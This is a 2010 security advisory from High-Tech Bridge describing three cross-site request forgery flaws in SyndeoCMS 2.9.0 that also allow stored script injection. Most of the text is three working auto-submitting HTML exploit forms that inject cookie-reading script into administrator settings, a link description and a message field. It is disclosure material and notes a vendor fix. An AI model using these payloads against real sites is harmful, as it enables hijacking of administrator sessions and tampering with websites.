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Cross-site Request Forgery (CSRF) Vulnerabilities in SyndeoCMS

Advisory ID:HTB22491
Product:SyndeoCMS
Vendor:The SyndeoCMS team
Vulnerable Versions:2.9.0 and probably prior
Tested Version:2.9.0
Advisory Publication:July 12, 2010 [without technical details]
Vendor Notification:July 12, 2010
Public Disclosure:July 26, 2010
Latest Update:April 27, 2012
Vulnerability Type:Cross-Site Request Forgery [CWE-352]
Risk Level:Medium
CVSSv2 Base Score:4 (AV:N/AC:H/Au:N/C:N/I:P/A:P)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in SyndeoCMS which could be exploited to perform cross-site request forgery attacks.


1) Cross-site request forgery (CSRF) in SyndeoCMS

1.1 The vulnerability exists due to insufficient validation of the request origin in starnet/index.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and chane website settings. Due to insufficient sanitation of input data in the “header” parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.

Exploitation example:
<form action="http://host/starnet/index.php?option=modulemanager&module=3&modoption=saveconfig" method="post" name="main" >
<input type="hidden" name="general[0]" value="1" />
<input type="hidden" name="general[1]" value="#99FFFF" />
<input type="hidden" name="general[2]" value="900" />
<input type="hidden" name="general[3]" value="1" />
<input type="hidden" name="general[4]" value="#000066" />
<input type="hidden" name="header[1]" value="header4.php" />
<input type="hidden" name="header[2]" value="290" />
<input type="hidden" name="header[3]" value='starnet/media/header-bg.jpg"><script>alert(document.cookie)</script>' />
<input type="hidden" name="header[4]" value="Century Schoolbook" />
<input type="hidden" name="header[5]" value="55" />
<input type="hidden" name="header[6]" value="#FFFFFF" />
<input type="hidden" name="header[7]" value="0" />
<input type="hidden" name="header[0]" value="1" />
<input type="hidden" name="section[1]" value="section1.php" />
<input type="hidden" name="section[2]" value="#FF0000" />
<input type="hidden" name="section[3]" value="#99CC99" />
<input type="hidden" name="section[4]" value="#0099CC" />
<input type="hidden" name="section[5]" value="Arial" />
<input type="hidden" name="section[6]" value="14" />
<input type="hidden" name="section[7]" value="#FFFFFF" />
<input type="hidden" name="section[8]" value="100" />
<input type="hidden" name="section[9]" value="#0099CC" />
<input type="hidden" name="section[0]" value="1" />
<input type="hidden" name="status[1]" value="status3.php" />
<input type="hidden" name="status[2]" value="#FF33FF" />
<input type="hidden" name="status[3]" value="Arial" />
<input type="hidden" name="status[4]" value="10" />
<input type="hidden" name="status[5]" value="#CCFFCC" />
<input type="hidden" name="status[6]" value="Location:" />
<input type="hidden" name="status[7]" value="" />
<input type="hidden" name="status[8]" value="" />
<input type="hidden" name="status[9]" value="" />
<input type="hidden" name="status[0]" value="1" />
<input type="hidden" name="menu[1]" value="menu1.php" />
<input type="hidden" name="menu[2]" value="#CC66FF" />
<input type="hidden" name="menu[3]" value="#FF9966" />
<input type="hidden" name="menu[4]" value="#FF66FF" />
<input type="hidden" name="menu[5]" value="#CCCC99" />
<input type="hidden" name="menu[6]" value="Arial" />
<input type="hidden" name="menu[7]" value="14" />
<input type="hidden" name="menu[8]" value="#000000" />
<input type="hidden" name="menu[9]" value="starnet/themes/editable/arrow_blue.gif" />
<input type="hidden" name="menu[0]" value="1" />
<input type="hidden" name="content[0]" value="content1.php" />
<input type="hidden" name="content[1]" value="#FFFFFF" />
<input type="hidden" name="content[2]" value="#FFFF99" />
<input type="hidden" name="content[3]" value="630" />
<input type="hidden" name="content[4]" value="500" />
<input type="hidden" name="content[5]" value="Arial" />
<input type="hidden" name="content[6]" value="10" />
<input type="hidden" name="content[7]" value="#000000" />
<input type="hidden" name="content[8]" value="1" />
<input type="hidden" name="footer[1]" value="footer2.php" />
<input type="hidden" name="footer[2]" value="#003366" />
<input type="hidden" name="footer[3]" value="Arial" />
<input type="hidden" name="footer[4]" value="10" />
<input type="hidden" name="footer[5]" value="#FFFFFF" />
<input type="hidden" name="footer[6]" value="Page last changed:" />
<input type="hidden" name="footer[7]" value="25" />
<input type="hidden" name="footer[0]" value="1" />
<input type="hidden" name="savebutton" value=" Save" />

</form>
<script>
document.main.submit();
</script>

1.2 The vulnerability exists due to insufficient validation of the request origin in starnet/index.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and edit search engine settings. Due to insufficient sanitation of input data in the “link_description” parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.

Exploitation example:
<form action="http://host/starnet/index.php?option=modulemanager&module=2&modoption=save_link&suboption=&p age_id=3&link_id=2" method="post" name="main" >
<input type="hidden" name="link_category" value="ICT">
<input type="hidden" name="link_title" value="Google">
<input type="hidden" name="link_url" value="http://www.google.com">
<input type="hidden" name="link_description" value='Search Engine."><script>alert(document.cookie)</script>'>
<input type="hidden" name="link_sort" value="1">
<input type="hidden" name="page_id" value="3">
<input type="hidden" name="initial" value="1">
<input type="hidden" name="savebutton" value=" Save" >

1.3 The vulnerability exists due to insufficient validation of the request origin in starnet/index.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and modify website settings. Due to insufficient sanitation of input data in the “message” parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.

Exploitation example:
<form action="http://host/starnet/index.php?option=modulemanager&module=13&modoption=save_message&suboptio n=&message_id=1&cat_id=4" method="post" name="main" >
<input type="hidden" name="intro_message" value="Holiday">
<input type="hidden" name="days" value="0">
<input type="hidden" name="page_id" value="4">
<input type="hidden" name="name" value="Director">
<input type="hidden" name="date" value="09-07-2010">
<input type="hidden" name="message" value='Next week is a holiday so all the children are free"><script>alert(document.cookie)</script>' >
<input type="hidden" name="savebutton" value=" Save">
</form>
<script>
document.main.submit();
</script>


Solution:
Upgrade to SyndeoCMS 3.0.01

More Information:
http://www.syndeocms.org/index.php?section=2&page=4#24
http://sourceforge.net/projects/syndeocms/files/1.%20SyndeoCMS/Syndeocms-3.0.01.zip/download


ImmuniWeb by High-Tech Bridge


References:
[1] High-Tech Bridge Advisory HTB22491 - https://www.htbridge.com/advisory/HTB22491 - Cross-site Request Forgery (CSRF) Vulnerabilities in SyndeoCMS
[2] SyndeoCMS - syndeocms.org - Syndeocms is a Content Management System (CMS) to manage and maintain the website of a primary school.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

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